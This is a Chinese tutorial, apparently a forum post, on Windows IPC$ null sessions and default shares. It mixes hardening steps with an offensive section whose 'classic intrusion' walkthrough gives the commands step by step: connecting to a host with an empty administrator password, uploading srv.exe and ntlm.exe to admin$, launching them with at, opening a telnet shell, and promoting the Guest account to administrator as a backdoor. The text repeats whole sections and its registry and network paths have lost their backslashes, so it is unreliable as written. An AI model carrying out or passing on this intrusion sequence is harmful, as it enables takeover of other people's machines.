禁止ipc$默认共享的方法 以下四种方法可以参考一下: A、一种办法是把ipc$和默认共享都删除了。但重起后还会有。这就需要改注册表。 1 ,先把已有的删除 net share ipc$ / del net share admin$ / del net share c$ / del …………(有几个删几个) 2 ,禁止建立空连接 首先运行regedit,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA] 把RestrictAnonymous(DWORD)的键值改为: 00000001 。 [推荐] 3 禁止自动打开默认共享 对于server版,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareServer(DWORD)的键值改为: 00000000 。 对于pro版,则是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks(DWORD)的键值改为: 00000000 。 B、另一种是关闭ipc$和默认共享依赖的服务(不推荐) net stop lanmanserver 可能会有提示说, " XXX服务也会关闭是否继续 " 。因为还有些次要的服务依赖于lanmanserver。一般情况按y继续就可以了。 C、最简单的办法是设置复杂密码,防止通过ipc$穷举密码。但如果你有其他漏洞,ipc$将为进一步入侵提供方便。 D、还有一个办法就是装防火墙,或者端口过滤。 IPC$共享通道按微软的本意是用来方便网管的,可是自从被黑客利用以后,IPC$入侵就成为最简单的入侵方式。 建议大家关闭这个危险的IPC$共享通道。 1 .在regedit中的[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]中新建一个字串 RestrictAnonymous. 并把值设为1,这样可以禁止IPC$空连接 2 .删除系统所有的默认共享。 这里有两种办法,一个是把net share c$ / del,net share d$ / del 等写一个批处理文件,之后把他放到启动组里面。这样每次开机就会删除默认共享。二是修改注册表以次打开一下健:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters对于服务器,新建一个DWORD类型的键值,取名AutoShareServer值设定为0对于工作站,新建一个DWORD类型的键值,取名AutoShareWks值设定为0 注意:如果是大型的服务器,特别是DC,就不推荐大家删除默认的共享。要访问默认的共享全依赖管理员的权限。只要管理好管理员的用户密码就可以了。相反如果关闭默认共享,则很多事情事情不能做,比如:DFS,域和域之间的复制等都无法实现。二 什么是ipc$IPC$(Internet Process Connection)是共享 " 命名管道 " 的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心 ? 我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.解惑: 1 )IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9 .x中运行。也就是说只有nt / 2000 / xp才可以建立ipc$连接, 98 / me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的) 2 )即使是空连接也不是100 % 都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接 3 )并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表三 建立ipc$连接在hack攻击中的作用就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do !! (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样 ? 够厉害吧 ! )不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:( 因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.四 ipc$与空连接, 139 ,445端口,默认共享的关系以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂) 1 )ipc$与空连接:不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟). 2 )ipc$与139,445端口:ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139, 445 (win2000)端口实现对共享文件 / 打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的. 3 )ipc$与默认共享默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享) 五 ipc$连接失败的原因以下5个原因是比较常见的: 1 )你的系统不是NT或以上操作系统; 2 )对方没有打开ipc$默认共享 3 )对方未开启139或445端口(惑被防火墙屏蔽) 4 )你的命令输入有误(比如缺少了空格等) 5 )用户名或密码错误(空连接当然无所谓了)另外,你也可以根据返回的错误号分析原因: 错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号51,Windows 无法找到网络路径 : 网络有问题; 错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 错误号1326,未知的用户名或错误密码 : 原因很明显了; 错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。 关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就 * 大家自己体会和试验了.六 如何打开目标的IPC$(此段引自相关文章) 首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。 七 如何防范ipc$入侵1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous = DWORD的键值改为: 00000001 (如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)2禁止默认共享 1 )察看本地共享资源运行 - cmd - 输入net share 2 )删除共享(每次输入一个)net share ipc$ / deletenet share admin$ / deletenet share c$ / deletenet share d$ / delete(如果有e,f,……可以继续删除) 3 )停止server服务net stop server / y (重新启动后server服务会重新开启) 4 )修改注册表运行 - regeditserver版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareServer(DWORD)的键值改为: 00000000 。 pro版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks(DWORD)的键值改为: 00000000 。 如果上面所说的主键不存在,就新建(右击 - 新建 - 双字节值)一个主健再改键值。 3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务控制面板 - 管理工具 - 服务 - 找到server服务(右击) - 属性 - 常规 - 启动类型 - 已禁用4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师5设置复杂密码,防止通过ipc$穷举密码(本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创http: // ccbirds.yeah.net) 八 相关命令 1 )建立空连接:net use /IPipc$ "" / user: "" (一定要注意:这一行命令中包含了3个空格) 2 )建立非空连接:net use /IPipc$ " 用户名 " / user: " 密码 " (同样有3个空格) 3 )映射默认共享:net use z: /IPc$ " 密码 " / user: " 用户名 " (即可将对方的c盘映射为自己的z盘,其他盘类推)如果已经和目标建立了ipc$,则可以直接用IP + 盘符 + $访问,具体命令 net use z: /IPc$ 4 )删除一个ipc$连接net use /IPipc$ / del 5 )删除共享映射net use c: / del 删除映射的c盘,其他盘类推 net use * / del 删除全部,会有提示要求按y确认九 经典入侵模式这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者 ! (不知道是哪位前辈) 1 . C: > net use / 127.0 . 0.1 IPC$ "" / user: " admintitrators " 这是用《流光》扫到的用户名是administrators,密码为 " 空 " 的IP地址(空口令 ? 哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127. 0.0 .1建立一个连接,因为密码为 " 空 " ,所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。 2 . C: > copy srv.exe / 127.0 . 0.1 admin$ 先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:winntsystem32,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。 3 . C: > net time / 127.0 . 0.1 查查时间,发现127. 0.0 . 1 的当前时间是 2002 / 3 / 19 上午 11 : 00 ,命令成功完成。 4 . C: > at / 127.0 . 0.1 11 : 05 srv.exe 用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!) 5 . C: > net time / 127.0 . 0.1 再查查到时间没有?如果127. 0.0 . 1 的当前时间是 2002 / 3 / 19 上午 11 : 05 ,那就准备开始下面的命令。 6 . C: > telnet 127.0 . 0.1 99 这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了 7 .C: > copy ntlm.exe / 127.0 . 0.1 admin$用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。 8 . C:WINNTsystem32 > ntlm 输入ntlm启动(这里的C:WINNTsystem32 > 指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现 " DONE " 的时候,就说明已经启动正常。然后使用 " net start telnet " 来开启Telnet服务! 9 . Telnet 127.0 . 0.1 ,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么 ? 想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组 10 . C: > net user guest / active:yes 将对方的Guest用户激活 11 . C: > net user guest 1234 将Guest的密码改为1234,或者你要设定的密码 12 . C: > net localgroup administrators guest / add 将Guest变为Administrator ^ _ ^ (如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机) 1 ,先把已有的删除 net share ipc$ / del net share admin$ / del net share c$ / del ………… 2 ,禁止建立空连接 首先运行regedit,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA] 把RestrictAnonymous(DWORD)的键值改为: 00000001 。 ,禁止自动打开默认共享 对于server版,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerPara meters]把AutoShareServer(DWORD)的键值改为: 00000000 。 对于pro版,则是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks(DWORD)的键值改为: 00000000 。 B、另一种是关闭ipc$和默认共享依赖的服务(不推荐) net stop lanmanserver 可能会有提示说,XXX服务也会关闭是否继续。因为还有些次要的服务依赖于lanmanserver。一般情况按y继续 就可以了。C、最简单的办法是设置复杂密码,防止通过ipc$穷举密码。但如果你有其他漏洞,ipc$将为进一步入侵提供方便。 D、还有一个办法就是装防火墙,或者端口过滤。防火墙的方法就不说了,端口过滤看这里: 过配置本地策略来禁止139 / 445端口的连接: IPC$的定义:IPC$是共享“命名管道”的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源时使用。 IPC$的作用:利用IPC$我们可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我们就可以得到目标主机上的用户列表.但是别人会利用这项功能,查找我们的用户列表,并使用一些字典工具,对我们的主机进行攻击.方法一: 如果您想禁止 % DriveLetter % $的默认共享,您可以在注册表的以下位置 HKEY_LOCAL_MACHINESystemCurrentControlSetServicesLanmanServerParameters 新建名称:AutoShareServer 类型: REG_DWORD 值: 0 如果您想禁止Admin$的默认共享,您可以在注册表的以下位置 HKEY_LOCAL_MACHINESystemCurrentControlSetServicesLanmanServerParameters 新建名称:AutoShareWks 类型: REG_DWORD 值: 0 方法二: 在c盘下面建立delshare.bat文件 内容如下: net share c$ / del net share d$ / del net share admin$ / del net share ipc$ / del 修改注册表:[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] delshare = c:/delshare.bat